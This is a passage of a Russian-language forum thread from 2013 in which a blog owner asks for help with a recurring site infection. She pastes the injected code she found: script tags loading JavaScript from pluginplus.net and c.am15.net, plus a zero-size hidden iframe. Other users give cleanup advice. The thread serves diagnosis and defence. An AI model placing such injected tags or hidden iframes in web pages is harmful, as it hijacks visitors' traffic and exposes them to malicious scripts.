Koob, да но появилось снова
Процессорное время на хостинге зашкаливает(

Stila, проверяйте файлы движка и темы...
Обновите все плагины и темы из админки...

Код стал еще страшнее и все так-же есть ссылка на pluginplus.net

Electric, обновлю.
Только что обнаружила что все началось снова. Было нормально какое-то время(

Сейчас так

<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
</w:Compatibility>
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
</w:WordDocument>
</xml><![endif]-->

&nbsp;

<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="text-decoration: underline;">2013 </span></em></strong><strong style="mso-bidi-font-weight: normal;"><em style="mso-bidi-font-style: normal;"><span style="text-decoration: underline;"><span style="mso-ansi-language: EN-US;" lang="EN-US">@</span></span></em></strong></p>

<script type="text/javascript" src="https://pluginplus.net/plugins/system/system_im.js"></script>
<iframe style="width: 0px; height: 0px; border: 0px none;" src="https://pluginplus.net/statistica/statistic_li.html"></iframe>
<script type="text/javascript" src="http://c.am15.net/preloader7.js"></script>
<div id="advm_video"></div>
<div>
<div id="advm_block" style="display: none;">
<div id="advm_close">Закрыть [Х]</div>
<div id="ambn17757"></div>
<div id="advm_box">
<div>Осталосьсек.</div>
</div>
</div>
</div>

Stila, походу сливают трафик.
Нужно смотреть, может через шелл повтроно загаживают...

как?

Stila, стукайте в АСЬку, посмотрим что там за гадость...

Electric, я написала вам в личку

Вчера написала на хостинг. Ответили что не видят.. Такое может быть?

Задам вопрос. Каким бы странным он не казался)
Например вот здесь на этом сайте http://forum.ligazakon.ua/index.php?/topic/7617-aresht-maina/
тоже есть такой код. Его кто-нибудь видит кроме меня?

Stila, там код тоже есть, но он в виде обычного поста на форуме.

Koob, посмотрите с другого компьютера. У меня, как оказалось, такое только на одном. По крайней мере я на это надеюсь. Пока на втором все чисто. ттт

pluginplus.net Второй сезон. уже на другом блоге

Случилось страшное- на яндексе сайт отметили как потенциально опасный

Ничего не могу найти. С помощью програмы WebZip скачала весь сайт целиком. Но там просто список из нескольких пааок, среди которых есть папка под названием pluginplus.net
В ней еще одна папка и файл system_im. Скрипт, насколько я понимаю..
Как теперь это найти среди файлов и папок сайта чтобы удалить? Я ищу, но безрезультатно.

А на сайте у меня выскакивает посторонняя реклама(

надеюсь поможет http://revisium.com/ai/

Сообщение отредактировал Stila - 17.12.2013, 6:47